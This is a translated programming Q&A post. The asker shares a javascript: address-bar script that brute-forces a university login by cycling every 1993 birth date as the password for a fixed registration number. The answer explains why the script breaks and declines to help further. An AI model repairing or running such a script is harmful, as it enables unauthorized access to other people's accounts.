浏览器地址栏中的JavaScript代码不起作用
JavaScript code not working in browser address bar
假设有一个网页有一个表单,要求输入注册号和DOB才能登录。对于给定的注册号,我试图使用javascript强制DOB登录用户帐户。
我首先在一个新的选项卡中打开网页。然后在地址栏中输入以下JS代码。如果RegNo和DOB匹配,我将被重定向到http://blahtestblah.edu/usermanager/home.jsp
。我不明白这段代码有什么问题
此外,我很确定今年是93年:)所以,请帮帮我!
javascript:function f()
{
var day=new Array();
var month=new Array();
day[0]="01";
day[1]="02";
day[2]="03";
day[3]="04";
day[4]="05";
day[5]="06";
day[6]="07";
day[7]="08";
day[8]="09";
for (var i=9;i<31;i++)
{
day[i]=i+1;
}
month[0]="01";
month[1]="02";
month[2]="03";
month[3]="04";
month[4]="05";
month[5]="06";
month[6]="07";
month[7]="08";
month[8]="09";
month[9]="10";
month[10]="11";
month[11]="12";
for(var j=0;j<31;j++)
{
for(var k=0;k<12;k++)
{
document.forms[0]['txtRegNumber'].value='112233445';
document.forms[0]['txtPwd'].value=day[j]+month[k]+'1993';
document.getElementById("frm1").elements[5].click();
if(document.location.href=="http://blahtestblah.edu/usermanager/home.jsp"){
alert(day[j]+month[k]);}
}
}
};
f();
编辑:DOB的形式为ddmmyyyy
是的,我来自印度(:
我不明白这段代码有什么问题。
它不起作用,因为click
提交了表单,浏览器卸载了页面,任何正在执行的脚本都将消失。它只是不在那一行之后,你永远不会被允许构建一个在其他页面上继续执行的脚本。
由于我不支持暴力登录表单,因此这个问题的解决方案留给读者练习:-)
相关文章:
- d3js文本传输-示例代码不起作用
- 滚动动画代码不起作用
- 为什么此验证代码不起作用
- 我的jquery代码不起作用.为什么?
- jquery中的PHP代码不起作用
- 谷歌地图代码不起作用
- 为什么这个代码不起作用?我花了很长时间试图弄清楚这一点
- 除非连接插件,否则 jQuery 代码不起作用
- 简单的JavaScript代码不起作用
- Angular资源对我的代码不起作用
- 在加载javascript之前让页面加载的代码不起作用
- 为什么这个jquery代码不起作用
- 直接从代码笔复制的圆环图代码不起作用
- javascript代码不起作用
- javascript验证代码不起作用
- 代码不起作用.我无法确定这个问题
- 为什么这个js代码不起作用
- 重定向到PDF时像素跟踪代码不起作用
- hasClass没有'我的js代码不起作用
- JavaScript-为什么这段代码不起作用